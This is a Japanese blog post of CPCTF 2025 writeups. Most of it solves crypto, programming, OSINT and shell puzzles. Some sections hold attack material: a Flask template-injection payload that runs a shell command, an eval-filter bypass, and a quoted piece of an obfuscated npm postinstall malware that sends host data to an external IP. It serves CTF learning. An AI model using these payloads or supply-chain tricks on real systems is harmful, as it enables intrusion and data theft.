はまやんはまやんはまやん

hamayanhamayan's blog

CPCTF 2025 Writeups

[Crypto] Heroic Code

Xubbe qdt jxqda oek veh zeydydw jxu SFSJV! Jxu vbqw yi SFSJV{qbuq_zqsjq_uij}.

暗号化されたメッセージからフラグを見つける問題。ROT暗号というシーザー暗号の一種が使われている。アルファベットを特定の文字数分ずらすことで暗号化されており、これを解読する必要がある。CyberChefのROT13でAmountを適当にポチポチやっていくと10で読める形になる。

https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,10)&input=WHViYmUgcWR0IGp4cWRhIG9layB2ZWggemV5ZHlkdyBqeHUgU0ZTSlYhIEp4dSB2YnF3IHlpIFNGU0pWe3FidXFfenFzanFfdWlqfS4

Hello and thank you for joining the CPCTF! The flag is CPCTF{alea_jacta_est}.

「賽は投げられた」

[crypto] Add and multiple

いっぱい足し算して、いっぱいかけ算したら元の文字列の復元は難しくなるはず!

数学的操作を用いた暗号化と復号化の問題。入力された平文を加算と乗算の操作で暗号化し、その結果のみが与えられる。平文を復元するために、暗号化の過程を逆算する必要がある。暗号スクリプトは以下。

plaintext = input()

a = [ord(i) for i in plaintext]
cipher = 0
for i,chr in enumerate(a,1000):
    cipher += chr
    cipher *= i
f = open('cipher.txt', 'w')
f.write(str(cipher))
f.close()

暗号化は数式にすると以下のようになる。

((((0 + a[0]) * 1000) + a[1]) * 1001 + a[2]) * 1002 + ...) * (1000 + n - 1)

これを逆向きに計算しようと思うと、最初に割り算をするときにnが分かっていないといけない。だが分からないので、nは全探索することにしよう。

nが分かっているならば(1000 + n - 1)で割って、次は和を逆算するために(1000 + n - 2)で割った余りを取って、それを引けば逆算ができる。これを繰り返せば良い。

def decrypt(cipher, n):
    plaintext = []
    c = cipher
    
    for _i in range(n):
        i = n - 1 - _i + 1000
        c = c // i
        mod = c % (i - 1)
        plaintext.append(mod)

    plaintext.reverse()
    result = ''.join(chr(c) for c in plaintext)
    return result

cipher = 103200264548574214569124695908951019136986646123214535931636006688814109904122192900997137101

for n in range(1, 50):
    result = decrypt(cipher, n)
    print(n, result)

実行して眺めるとn=30でフラグになった。

30 CPCTF{C14ssic4l_Ciph3r_15_fun}

[Crypto] Anomaly

時には信じて突き進むことも大切!

RSA暗号の変形版で通常のRSAとは異なる実装になっている問題。

from Crypto.Util.number import getPrime, bytes_to_long

flag = "CPCTF{fake_flag}"

p = getPrime(512)
e = getPrime(512)
q = 0x10001
n = p * q
c = pow(bytes_to_long(flag.encode()), e, n)

with open("output.py", "w") as f:
    f.write(f"e = {e}\n")
    f.write(f"n = {n}\n")
    f.write(f"c = {c}\n")

nが素因数分解できるので、素因数分解して、後は普通のRSA

[web] omikuji

あなたの名前を占います! (ちょっぴり厳しめ!)

おみくじシステムが実装されたWebアプリケーション。入力された名前のSHA-256ハッシュ値中の「0」の数で運勢を判定する。「大吉」を得るとフラグが表示されるが、条件を満たす入力が困難なため、アプリケーションの脆弱性を利用する必要がある。

from flask import Flask, request, render_template_string
import hashlib

css = """
<style>
   [redacted]
</style>
"""

app = Flask(__name__)

def get_fortune(name):
    hash_value = hashlib.sha256(name.encode()).hexdigest()
    zero_count = hash_value.count("0")

    if zero_count < 4:
        return "大凶"
    elif zero_count < 8:
        return "凶"
    elif zero_count < 16:
        return "小吉"
    elif zero_count < 32:
        return "中吉"
    elif zero_count < 64:
        return "吉"
    else:
        return "大吉"


@app.route("/")
def index():
    name = request.args.get("name")
    if name is None:
        return f"""
        {css}
        <h1>🔮 名前占い 🔮</h1>
        <form action="/" method="get">
            <label for="name">あなたの名前を入力してください:</label>
            <input type="text" id="name" name="name" required>
            <input type="submit" value="占う">
        </form>
        """

    fortune = get_fortune(name)

    result = f"""
    {css}
    <h1>🔮 名前占い 🔮</h1>
    <div class="result">
        <p>こんにちは、{name}さん。</p>
        <p>あなたの運勢は…… <span class="fortune">{fortune}</span> です!</p>
    """

    if fortune == "大吉":
        with open("flag.txt", "r") as f:
            content = f.read()
            result += f'<div class="flag">フラグは{content}です。</div>'

    result += "</div>"
    return render_template_string(result)


if __name__ == "__main__":
    app.run()

SSTIの脆弱性が存在する。ユーザー入力である name パラメータがエスケープされずに直接テンプレート文字列に挿入され、それが render_template_string 関数に渡される。試しに {{7*7}} を入力すると、結果に 49 として表示される。

こんにちは、49さん。

あなたの運勢は…… 大凶 です!

ちなみにこれは大凶である。SSTIができるので適当に試すとRCEができ、それを使ってflag.txtを読み取る。

{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}

[web] string calculator

文字列結合に対応している電卓サイトを作ってみたよ!

JavaScriptのeval関数を使用した文字列計算機アプリケーション。サーバーサイドでユーザー入力を評価するが、特定の文字や関数が制限されている。

app.post("/api/calc", async (c) => {
  const input = await c.req.text();

  try {
    if (input.length > 64) throw new Error("Input too long");
    if (/[()\[\].=]/.test(input)) throw new Error("Invalid characters in input");
    if (/delete|Function|fetch|\+\+|--/.test(input)) throw new Error("Invalid keywords in input");

    const result = eval(`(${input})`);

    return c.json(result);
  } catch (error) {
    c.status(400);
    return c.text(`${error.name}: ${error.message}`);
  }
});

app.get("/api/flag", require("hono/bearer-auth").bearerAuth({ token: btoa(getFlag()) }), (c) => {
  return c.text(getFlag());
});

色々制約がかかっている状態でgetFlag()を呼び出すことができればクリア。JavaScriptのタグ付きテンプレートを使えば良い。

getFlag``

これでgetFlag()を呼べる。

[PPC] Luke or Bishop

チェスの駒の動きを利用した最小手数を求める問題。

ぼんやり考えるとルークを使えば、最悪でも2手で辿りつけることが分かる。よって、答えは0,1,2のどれかである。

Gx==0 && Gy==0の場合は既にゴールしてるので(0,0)

ルークの場合は縦横が一致していれば1手で辿りつけ、ビショップの場合は斜めで一気にいけるならば1手で辿りつける。これを判定すればよい。

int Gx, Gy;
void _main() {
    cin >> Gx >> Gy;
    
    if (Gx == 0 && Gy == 0) {
        cout << "0" << endl;
        return;
    }

    if (abs(Gx) == abs(Gy) || Gx == 0 || Gy == 0) {
        cout << "1" << endl;
        return;
    }

    cout << "2" << endl;
}

[PPC] Like CPCTF?

英大文字からなる文字列からCPCTF的な部分文字列を数える問題。CPCTF的とは「1文字目と3文字目が同じ」「異なる文字は4種類」という性質を持つ長さ5の文字列。

Nの条件が重要でN5が許されるので、5重ループを書いて条件を満たすか判定しよう。任意の5文字を取り出したときに、1文字目と3文字目が一致していることと文字種が4つであることを確認すればよい。

int N; string S;
void _main() {
    cin >> N >> S;

    int ans = 0;
    rep(c1, 0, N) rep(c2, c1 + 1, N) rep(c3, c2 + 1, N) rep(c4, c3 + 1, N) rep(c5, c4 + 1, N) {
        set<char> cset;
        cset.insert(S[c1]); cset.insert(S[c2]); cset.insert(S[c3]); cset.insert(S[c4]); cset.insert(S[c5]);
        if (S[c1] == S[c3] && cset.size() == 4) ans++;
    }
    cout << ans << endl;
}

[PPC] Swap members

整数 K で指定された間隔でのメンバー交換できるという状態で、与えられた初期順列を目標順列に変換できるかを判定する問題。

入れ替えを使ってどこまで行けるか考えてみるN=10, K=3とかだと、雑に考えてみると

1 → 4 → 7 → 10
2 → 5 → 8
3 → 6 → 9

のように+K倍するか-K倍するか移動方法が無いため、それぞれいける所はKで割った時の余りが等しくなる場所になる。よって、SとTを比べた時に移動前と移動後の場所をKで割った余りが一致している必要がある。

全ての移動前後の場所をKで割った余りが一致していれば、必ず目的の整列にできるのかという観点は、(直感的にもあってそうだが)どんな配列でもバブルソートでソートできることを考えると、そうでしょうということで、この方針で答えるとあってた。

int N, K;
map<string,int> S;
map<string,int> T;
string solve() {
    fore(p, S) {
        string s = p.first;
        int pre = p.second;
        int post = T[s];

        if (pre % K != post % K) return "No";
    }
    return "Yes";
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    rep(i, 0, N) {
        string s;
        cin >> s;
        S[s] = i;
    }
    rep(i, 0, N) {
        string t;
        cin >> t;
        T[t] = i;
    }
    cout << solve() << endl;
}

[PPC] 0→1

0と1からなる文字列を良い文字列に変換する問題。良い文字列とは、任意の連続部分文字列において0の数が1の数以下という条件を満たす文字列のこと。0を1に変更する操作を最小回数で行う必要がある。

良くない文字列から考えてみる。良くない文字列とは、その文字列に含まれる長さ2以上の任意の連続部分文字列Yについて、1の数<0の数の場合である。これを破る最短の部分文字列は 00 なので、とりあえず00があれば良い文字列ではなく、修正が必要になる。

では00を潰せばいいか?と考えるが、010のような場合もダメであることが分かる。

…他にはあるだろうか?00が無くて、また010もない場合は全て「良い文字列」になるだろうか。

反証が思いつかないので、とりあえずこれで貪欲してみる。先頭から消し込んでいく貪欲法をしてみることにする。00が出てきたら01に、010が出てきたら011にする。 (000のケースを実装で忘れてて1WAしたので注意)

int N; string S;
void _main() {
    cin >> N >> S;

    int ans = 0;
    rep(i, 0, N) {
        if (S.substr(i, 2) == "00") {
            ans++;
            S[i + 1] = '1';
        }
        if (S.substr(i, 3) == "010") {
            ans++;
            S[i + 2] = '1';
        }
    }
    cout << ans << endl;
}

submit証明。ACした

[PPC] The farthest point

与えられた無向重み付き木において、最も遠い2頂点間の距離を求めよという問題。

全方位木がまず思い浮かぶ。

dp[cu] := 頂点1を根としたとき、頂点cuと頂点cuの任意の子供を結ぶ単純パスの重みの総和の最大

を作って、re-rootingをしながら、「頂点1を根としたとき」を頂点rootを根としたときに更新しつつ、全ての単純パスについて重みの最大値を求める。

自分の記事を見ながら思い出しつつ書くと通る。久々過ぎて死ぬほど時間かかった… 要求されているのは全方位木の基本的な形なので、自分が下手に解説を書くよりも全方位木の入門記事を当たると良い。

rerootingをするときに遷移先以外のmaxを取る必要があるが、naiveにやるとTLEする(はず)ので、サボらず高速化すること。自分はSparseTableでやった。

int N;
vector<pair<int,ll>> E[201010];

ll dp[201010];
void dfs1(int cu, int pa = -1) {
    dp[cu] = 0;
    fore(p, E[cu]) {
        int to = p.first;
        ll c = p.second;
        if (to == pa) continue;

        dfs1(to, cu);
        chmax(dp[cu], dp[to] + c);
    }
}

ll ans = 0;
void dfs2(int cu, int pa = -1) {
    fore(p, E[cu]) {
        int to = p.first;
        ll c = p.second;
        chmax(ans, dp[to] + c);
    }

    int n = E[cu].size();

    SparseTable<ll> st;
    vector<ll> v(n, -infl);
    rep(i, 0, n) {
        int to = E[cu][i].first;
        ll c = E[cu][i].second;
        v[i] = dp[to] + c;
    }
    st.init(v);

    rep(i, 0, n) {
        int to = E[cu][i].first;
        ll c = E[cu][i].second;
        if (to == pa) continue;

        dp[cu] = max(st.get(0, i), st.get(i + 1, n));

        dfs2(to, cu);
    }
}

void _main() {
    cin >> N;
    rep(i, 0, N - 1) {
        int a, b; ll c;
        cin >> a >> b >> c;
        a--; b--;
        E[a].push_back({b, c});
        E[b].push_back({a, c});
    }

    rep(i, 0, N) dp[i] = -infl;

    dfs1(0);
    dfs2(0);

    cout << ans << endl;
}

[PPC] Decrement or Mod Game

2つの正整数A, Bが与えられ、AliceとBobは整数のペア(a, b) = (A, B)を使ったゲームをする。2人は交互に以下のいずれかの操作を行い、操作ができなくなった人が負けです。

  1. aを1減らす。ただしa > 0の場合のみ可能
  2. aをa mod bにする。ただしb ≤ aの場合のみ可能。

先手はAliceです。2人が最適に行動した場合、どちらが勝つか判定せよという問題。

grundy数感がすごいので実験する。

int grundy[100][100];
#define MAX 20
void labo() {
    rep(sm, 2, MAX) {
        rep(a, 1, sm) {
            int b = sm - a;
            set<int> gr;
            if (0 < a) gr.insert(grundy[b][a - 1]);
            if (b <= a) gr.insert(grundy[b][a % b]);
    
            while (gr.count(grundy[a][b])) grundy[a][b]++;
    
            //printf("g[%d][%d] = %d (%d)\n", a, b, grundy[a][b], a + b);
        }
    }

    rep(a, 1, MAX) {
        rep(b, 1, MAX) {
            if (a + b >= MAX) break;
            printf("g[%d][%d] = %d\n", a, b, grundy[a][b]);
        }
        puts("");
    }
}

すると以下のようになる。

g[1][1] = 1
g[1][2] = 1
g[1][3] = 1
g[1][4] = 1
g[1][5] = 1
g[1][6] = 1
g[1][7] = 1
g[1][8] = 1
g[1][9] = 1
g[1][10] = 1
g[1][11] = 1
g[1][12] = 1
g[1][13] = 1
g[1][14] = 1
g[1][15] = 1
g[1][16] = 1
g[1][17] = 1
g[1][18] = 1

g[2][1] = 2
g[2][2] = 1
g[2][3] = 0
g[2][4] = 0
g[2][5] = 0
g[2][6] = 0
g[2][7] = 0
g[2][8] = 0
g[2][9] = 0
g[2][10] = 0
g[2][11] = 0
g[2][12] = 0
g[2][13] = 0
g[2][14] = 0
g[2][15] = 0
g[2][16] = 0
g[2][17] = 0

g[3][1] = 2
g[3][2] = 0
g[3][3] = 1
g[3][4] = 0
g[3][5] = 0
g[3][6] = 0
g[3][7] = 0
g[3][8] = 0
g[3][9] = 0
g[3][10] = 0
g[3][11] = 0
g[3][12] = 0
g[3][13] = 0
g[3][14] = 0
g[3][15] = 0
g[3][16] = 0

g[4][1] = 2
g[4][2] = 1
g[4][3] = 0
g[4][4] = 1
g[4][5] = 0
g[4][6] = 0
g[4][7] = 0
g[4][8] = 0
g[4][9] = 0
g[4][10] = 0
g[4][11] = 0
g[4][12] = 0
g[4][13] = 0
g[4][14] = 0
g[4][15] = 0

g[5][1] = 2
g[5][2] = 1
g[5][3] = 1
g[5][4] = 0
g[5][5] = 1
g[5][6] = 0
g[5][7] = 0
g[5][8] = 0
g[5][9] = 0
g[5][10] = 0
g[5][11] = 0
g[5][12] = 0
g[5][13] = 0
g[5][14] = 0

g[6][1] = 2
g[6][2] = 1
g[6][3] = 1
g[6][4] = 2
g[6][5] = 0
g[6][6] = 1
g[6][7] = 0
g[6][8] = 0
g[6][9] = 0
g[6][10] = 0
g[6][11] = 0
g[6][12] = 0
g[6][13] = 0

g[7][1] = 2
g[7][2] = 1
g[7][3] = 1
g[7][4] = 1
g[7][5] = 2
g[7][6] = 0
g[7][7] = 1
g[7][8] = 0
g[7][9] = 0
g[7][10] = 0
g[7][11] = 0
g[7][12] = 0

g[8][1] = 2
g[8][2] = 1
g[8][3] = 1
g[8][4] = 1
g[8][5] = 2
g[8][6] = 2
g[8][7] = 0
g[8][8] = 1
g[8][9] = 0
g[8][10] = 0
g[8][11] = 0

g[9][1] = 2
g[9][2] = 1
g[9][3] = 1
g[9][4] = 1
g[9][5] = 1
g[9][6] = 2
g[9][7] = 2
g[9][8] = 0
g[9][9] = 1
g[9][10] = 0

g[10][1] = 2
g[10][2] = 1
g[10][3] = 1
g[10][4] = 2
g[10][5] = 1
g[10][6] = 1
g[10][7] = 2
g[10][8] = 2
g[10][9] = 0

g[11][1] = 2
g[11][2] = 1
g[11][3] = 1
g[11][4] = 1
g[11][5] = 1
g[11][6] = 1
g[11][7] = 2
g[11][8] = 2

g[12][1] = 2
g[12][2] = 1
g[12][3] = 1
g[12][4] = 1
g[12][5] = 2
g[12][6] = 1
g[12][7] = 1

g[13][1] = 2
g[13][2] = 1
g[13][3] = 1
g[13][4] = 1
g[13][5] = 2
g[13][6] = 1

g[14][1] = 2
g[14][2] = 1
g[14][3] = 1
g[14][4] = 2
g[14][5] = 1

g[15][1] = 2
g[15][2] = 1
g[15][3] = 1
g[15][4] = 1

g[16][1] = 2
g[16][2] = 1
g[16][3] = 1

g[17][1] = 2
g[17][2] = 1

g[18][1] = 2

競プロ、伝家の宝刀を使おう。「グッと睨むと」、負け状態0になるのは、「自分<相手」か「自分-1=相手」の状態。自分が1のときと自分が2のときがエッジケースなので若干特殊対応をして、実装すると正答。

ll A, B;
string solve() {
    if (A == 1) return "Alice";
    if (A == 2 && B <= 2) return "Alice";
    if (A < B) return "Bob";
    if (A - 1 == B) return "Bob";
    return "Alice";
}
void _main() {
    // labo();

    cin >> A >> B;
    cout << solve() << endl;
}

[PPC] Toll Optimization

N個の街があり、M本の道で結ばれている。各道には通行料金Ciがかかる。街1から街Nまで移動するとき、K回まで通行料金を無料にできるクーポンを使える。街1から街Nまでの最小コストを求めよ。

(拡張)ダイクストラをやる。

dp[town][coupon] := 町townにいて、クーポンをcoupon枚持っている状態までに必要な支払うべき料金の最小値

これをダイクストラで更新していき、dp[N][any]の最小値が答え。

int N, M, K;
ll C[101010];
vector<pair<int,ll>> E[101010];

int vis[101010][4];
ll D[101010][4];

void _main() {
    cin >> N >> M >> K;
    rep(i, 0, M) cin >> C[i];
    rep(i, 0, M) {
        int a, b;
        cin >> a >> b;
        a--; b--;
        E[a].push_back({ b, C[i] });
        E[b].push_back({ a, C[i] });
    }

    rep(town, 0, N) rep(coupon, 0, K + 1) D[town][coupon] = infl;
    rep(town, 0, N) rep(coupon, 0, K + 1) vis[town][coupon] = 0;
 
    min_priority_queue<pair<ll, pair<int,int>>> que;
 
    D[0][K] = 0;
    que.push({ 0, {0, K} });
 
    while (!que.empty()) {
        auto q = que.top(); que.pop();
 
        ll cst = q.first;
        int town = q.second.first;
        int coupon = q.second.second;
 
        if (vis[town][coupon]) continue;
        vis[town][coupon] = 1;
 
        fore(p, E[town]) {
            ll cst2 = cst + p.second;
            int town2 = p.first;

            // use coupon
            if (coupon > 0) {
                if (chmin(D[town2][coupon - 1], cst)) que.push({ D[town2][coupon - 1], { town2, coupon - 1 } });
            }

            // not use coupon
            if (chmin(D[town2][coupon], cst2)) que.push({ D[town2][coupon], { town2, coupon } });
        }
    }

    ll ans = infl;
    rep(coupon, 0, K + 1) chmin(ans, D[N - 1][coupon]);
    if (ans == infl) ans = -1;
    cout << ans << endl;
}

[PPC] More and more teleporter

テレポーターがどんどん追加されていくので、最小移動コストを求める問題。テレポーターを使うかどうか、使うならどのテレポーターを使うかを選んで、目標地点への最短移動コストを答える。クエリ処理のため、効率的なデータ構造が必要となる。

まず、テレポーターについて考えてみよう。

  • テレポーターを複数回利用する必要はない。なぜなら、A→Bのように使った場合は、Aは使わずBを使えばいいためである。よって、テレポーターは使わないか、1回使うという選択になる
  • また、テレポーターを使う場合は、一番最初に使うことになる。途中で使うと途中の移動が無駄になるため。

この辺をうまく使って差分計算する。複数テレポーターがある場合のクエリ1の答えは

min(
    x - 1, // 1からxまでnaiveに移動
    abs(x - tx[0]) + tc[0], // 0番目のテレポーターを使った場合
    abs(x - tx[1]) + tc[1], // 1番目のテレポーターを使った場合
    ...
)

となる。テレポーターを使う場合にabsがあるのが厄介だが、xより左側にあるテレポーターか、右側にあるテレポーターかで以下のように無くすことができる。

abs(x - tx[0]) + tc[0]
↓
テレポーター < x  →  x - tx[0] + tc[0]
x < テレポーター  →  tx[0] - x + tc[0]

どのテレポーターでもxは固定なので、位置関係によって-tx[i] + tc[i]tx[i] + tc[i]の最小値が分かれば、テレポーターを使った場合の最小コストが分かる。セグメントツリーをうまく使えばクエリをさばけますね。

int N, Q;
SegTree<ll, 1<<18> lft;
SegTree<ll, 1<<18> rht;
void _main() {
    cin >> N >> Q;
    rep(_, 0, Q) {
        int t; cin >> t;
        if (t == 1) {
            int x; cin >> x; x--;
            ll ans = x;
            chmin(ans, lft.get(0, x) + x); // 左側のテレポーターを使った場合
            chmin(ans, rht.get(x, N) - x); // 右側のテレポーターを使った場合
            cout << ans << endl;
        } else {
            int x, c; cin >> x >> c; x--;
            // lft
            ll cost = -x + c;
            if (cost < lft.get(x, x + 1)) lft.update(x, cost);

            // rht
            cost = x + c;
            if (cost < rht.get(x, x + 1)) rht.update(x, cost);
        }
    }
}

[OSINT] meshitero

美味しい美味しい油そば
画像のメニューの名前を答えてください!

油そばの画像が与えられる。Googleレンズで調べるとこれだった

爆盛油脂麺

CPCTF{bakumoriaburaaburamen}

[OSINT] timetable

fileの写真が示している時刻表に該当する駅や停留所の名前をそのまま小文字でヘボン式で表記してください。

時刻表の画像が与えられる。とりあえず、Googleグラスで検索してみるが、時刻表はどれも似通っているのか、いい情報が無い。「富士見・神保町ルート」「秋葉原ルート」で検索してみると、「風ぐるま」というバスのようだ。

調べると時刻表もあり、同じものを

https://www.city.chiyoda.lg.jp/documents/32796/jikokuhyo.pdf

で探すと、「専修大学法科大学院前」と一致する!これだ!と思ったが、一応いい感じの写真が無いか少し探すと、東急リバブルの写真が見つかる。

https://www.livable.co.jp/mansion/library/000000407576/overview/

に貼ってある

https://www.livable.co.jp/assets/images/original/407576-14.webp

を見ると、細かな文字は見えないが、これっぽいことは分かる。

CPCTF{senshudaigakuhokadaigakuimmae}

[OSINT] Bench 解けてない

この写真が撮影された場所を特定してください。

風景の写真が与えられるので撮影場所を特定する問題。殆ど解けているはずだが、差し切れなかった。

目を引く漫画を検索してみると、「ののちゃん」であることが分かる。「ののちゃん」が張ってあるということはその作者の地元何だろうと思って検索すると、ここは岡山県らしい。

写真を見ると「エブリィ」というスーパーっぽい名前が出てくるので、フェリー乗り場が近くにあるという情報からアレコレ探すと、鮮Do!エブリイ 玉野店までたどり着ける。

https://www.google.com/maps/place/%E9%AE%AEDo!%E3%82%A8%E3%83%96%E3%83%AA%E3%82%A4+%E7%8E%89%E9%87%8E%E5%BA%97/@34.4865519,133.9384073,15.73z/data=!4m10!1m2!2m1!1z5bKh5bGx55yMIOOCqOODluODquOCow!3m6!1s0x3553f073717733f9:0xde2eed5e3aadb7ac!8m2!3d34.4892547!4d133.9493341!15sChblsqHlsbHnnIwg44Ko44OW44Oq44KjkgELc3VwZXJtYXJrZXTgAQA!16s%2Fg%2F11bxdvwpvp?entry=ttu&g_ep=EgoyMDI1MDQxNi4xIKXMDSoASAFQAw%3D%3D

そこからそれっぽい所をあれこれ探すと、ここだ!という場所が見つかる。

https://www.google.com/maps/@34.4940365,133.953403,3a,75y,277.07h,73.08t/data=!3m7!1e1!3m5!1sAF1QipNYAewBKPmDVTBf5ExrmDXClkCjM-jtWSUHp7Ub!2e10!6shttps:%2F%2Flh3.googleusercontent.com%2Fp%2FAF1QipNYAewBKPmDVTBf5ExrmDXClkCjM-jtWSUHp7Ub%3Dw900-h600-k-no-pi16.91994956565793-ya193.26474301949798-ro0-fo100!7i6720!8i3360?entry=ttu&g_ep=EgoyMDI1MDQxNi4xIKXMDSoASAFQAw%3D%3D

完全にここだと思うのだが、ここから座標を抽出して答えることができず、終わった…

[shell] XFD

Excelの列名をA~XFDまで生成し、それを改行区切りのテキストファイルに出力する問題。このファイルのSHA256ハッシュ値がフラグとなる。

実装する。

def excel_column_names():
    column = 1
    while True:
        yield column_number_to_name(column)
        if column_number_to_name(column) == 'XFD':
            break
        column += 1

def column_number_to_name(n):
    name = ''
    while n > 0:
        n, remainder = divmod(n - 1, 26)
        name = chr(65 + remainder) + name
    return name

with open('out.txt', 'w') as f:
    for col in excel_column_names():
        f.write(col + '\n')

これで出てきたout.txtでsha256ハッシュ取って提出すると答え。

$ sha256sum out.txt 
6526814a735caafefa75d482c954e11d49c110f5dc73dce2f951d6b11339c05b  out.txt

ハッシュ値が一致しない場合改行文字に注意する。

[shell] Count CPCTF

テキストファイル中の「CPCTF」という文字列の数を数えてみましょう!

大量のテキストから特定の文字列の出現回数を数える問題。

grepしてwcした。

$ wget https://files.cpctf.space/count-CPCTF.txt

$ cat count-CPCTF.txt | grep -o "CPCTF" | wc -l
128196

[forensics] dark

忘れないようにflagのメモの写真を撮ったけど、カメラの設定間違えちゃった!どうしよう!

真っ黒な画像が渡される。青い空を見上げればいつもそこに白い猫のステガノグラフィーでポチポチ見てみると、「赤色 ビット0 抽出」とか「緑色 ビット0 抽出」でフラグが出てくる。

CPCTF{dark_1mage_may_have_1nformat10n}

[forensics] Golden Protocol

伝統って、すばらしい!

pcapファイルが配布される。中身を見るとメールのやり取りになっている。TCP Streamの#1でsecret.zipが送られていて、#3でパスワードらしき文字列が送られている。Golden Protocol。

実際に取り出すと解凍できてフラグが得られる。

CPCTF{I_l0ve_4pples_4nd_p1n34ppl3s_34827ac28a610940}

[forensics] I love MD

セキュリティの都合で使われなくなったハッシュ関数の一つにMD5があります。
衝突させられますか?

MD5ハッシュが衝突する2つの異なる入力文字列を見つける問題。MD5ハッシュが一致するが、平文が異なるようなペアを送信するとフラグが得られる。

自分は、https://twitter.com/realhashbreaker/status/1770161965006008570 で紹介されているものを使った。

[forensics] Event analyze

社内のPCから不審な通信がありました。
どうやら、社内のアルバイトが自作のパッケージを入れて使っていたが、そこに悪意のあるユーザーがマルウェアを混入させたようだ。
解析して以下の内容を突き止めてほしい。

ディスクイメージファイルから不正アクセスの痕跡を解析する問題。マルウェアの埋め込まれたnpmパッケージを特定し、Windows Defenderのログから悪意のあるユーザー名、外部通信先IPアドレスマルウェアのファイル名を特定する。

ディスクイメージが与えられるので解析していく。FTKImagerで開くと

  • C:\Users\User\Documents
  • C:\Window\System32\winevt\Logs
  • C:\ProgramData\Microsoft\Windows Defender

が入っていた。

マルウェアを混入させた悪意のあるユーザーのユーザー名

C:\Users\User\Documents\workspaces\marktype.git のコミットログを解析すると、最新が

commit 0657d2ad695e9fb1418f76c8fea3170f79ce66c8 (HEAD -> main, origin/main, origin/HEAD)
Author: ■■■■ <■■■■@example.net>
Date:   Sat Apr 19 22:10:46 2025 +0900

    feat: update README

diff --git a/README.md b/README.md
index d259e56..bb312e8 100644
--- a/README.md
+++ b/README.md
@@ -2,6 +2,9 @@
 
 This is a simple markdown editor that allows you to write and preview markdown in real-time. It is built using React and Tailwind CSS.
 
+> [!NOTE]
+> Windows Defender may occasionally detect this as a false positive, but there is no problem. In such cases, please either turn off Windows Defender or add an exclusion se
tting.
+
 ## Features
 - Real-time preview of markdown
 - Syntax highlighting for code blocks

で怪しい。その直前にも同じユーザー■■■■によるコミットがある。

■■■■

マルウェアの外部通信先IP形式

package-lock.json

     "node_modules/highlight.js": {
       "version": "11.11.1",
-      "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.11.1.tgz",
-      "integrity": "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w==",
+      "resolved": "http://[redacted]/highlight.js/-/highlight.js-11.11.1.tgz",
+      "integrity": "sha512-3w25nwQRz7EEPdOjOGLfE3JvJt7xqiuAw9I9xO4A/TtrtQrQ2Ogc+KMO4RWKm1viop11TzRGKCuCPwxSxS2N7w==",
+      "hasInstallScript": true,
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "megajs": "^1.3.7"
+      },
       "engines": {
         "node": ">=12.0.0"
       }

のような修正があり、src/App.tsxにも

 import { useEffect, useState } from 'react';
 import { Panel, PanelGroup, PanelResizeHandle } from 'react-resizable-panels';
 import MarkdownIt from 'markdown-it';
-import hljs from 'highlight.js';
+import hljs from '@■■■■■■/highlight.js';
 import DOMPurify from 'dompurify';
 import TextareaAutosize from 'react-textarea-autosize';
 import { useDebounce } from 'use-debounce';

という修正がある。配布されたディスクイメージにnode_modulesが含まれていたのでそこからデータを持ってこよう。CHANGES.mdを見るとhighlight.jsの11.11.2のようだが、npmで見ると11.11.1が最新。とりあえず、diffを取ってみると、package.jsonのscriptのpostinstallに追記があった。

    "postinstall": "node ./lib/check.js",

./lib/check.jsを見ると難読化コードがあった。これですね。コードを解析すると通信先が分かる。sendResultsに

async function sendResults(rS$ClJLTXhGgfGrRteqoNKsQu$g) {
    const dic = uDOdzcLVrnBW$zxS,
        xY_WrxsfJxMwAx = dic(0x241),
        QkGLuwfbXPZgPCQrDgJeP = {
            'scanned_hosts': rS$ClJLTXhGgfGrRteqoNKsQu$g
        };
    try {
        const BKcEwFtyvecUTnu = await fetch(xY_WrxsfJxMwAx, {
            'method': dic(0x242),
            'headers': {
                'Content-Type': dic(0x22b)
            },
            'body': JSON[dic(0x223)](QkGLuwfbXPZgPCQrDgJeP)
        });
        console[dic(0x229)](dic(0x22e), BKcEwFtyvecUTnu[dic(0x1f2)]);
    } catch (TJTadDFVgeKsuvnbQvM$Z_cKjoQ) {
        console[dic(0x229)](dic(0x231), TJTadDFVgeKsuvnbQvM$Z_cKjoQ);
    }
}

こういう部分があり、fetchに渡されている文字列をたどっていくとhxxp://96[.]7[.]128[.]■■/api/endpointというのが(defang済み)渡されていた。よって、

96_7_128_■■

マルウェアの、過去に報告されているファイル名(拡張子を除く)

checkか? → いや、違う

いや、ちゃんと見るか。報告されているというのはWindows Defenderだろう。WindowsイベントログにはDefenderの検知ログも出てくるので、それを見ることにする。hayabusaを入れてcsv-timelineを見てみる。

"2025-04-19 23:11:14.615 +09:00","WinDev2407Eval","Defender",1116,"crit",85,"Antivirus Ransomware Detection","Threat: Trojan:Python/FileCoder.AG!MTB ¦ Severity: Severe ¦ Type: Trojan ¦ User: ¦ Path: file:_C:\Users\User\Documents\workspaces\marktype\node_modules\highlight.js\this_is_not_flag.py ¦ Proc: Unknown","Action ID: 9 ¦ Action Name: Not Applicable ¦ Additional Actions ID: 0 ¦ Additional Actions String: No additional actions required ¦ Category ID: 8 ¦ Detection ID: {A4B6C5C1-8A64-4407-A6A3-92681AC72A03} ¦ Detection Time: 2025-04-19T14:11:14.596Z ¦ Engine Version: AM: 1.1.25030.1, NIS: 1.1.25030.1 ¦ Error Code: 0x00000000 ¦ Error Description: The operation completed successfully. ¦ Execution ID: 1 ¦ Execution Name: Suspended ¦ FWLink: https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Python/FileCoder.AG!MTB&threatid=2147921159&enterprise=0 ¦ Origin ID: 1 ¦ Origin Name: Local machine ¦ Post Clean Status: 0 ¦ Pre Execution Status: 0 ¦ Product Name: Microsoft Defender Antivirus ¦ Product Version: 4.18.2201.11 ¦ Security intelligence Version: AV: 1.427.341.0, AS: 1.427.341.0, NIS: 1.427.341.0 ¦ Severity ID: 5 ¦ Source ID: 3 ¦ Source Name: Real-Time Protection ¦ State: 1 ¦ Status Code: 1 ¦ Threat ID: 2147921159 ¦ Type ID: 0 ¦ Type Name: Concrete"

this_is_not_flag とあるが… → 違う

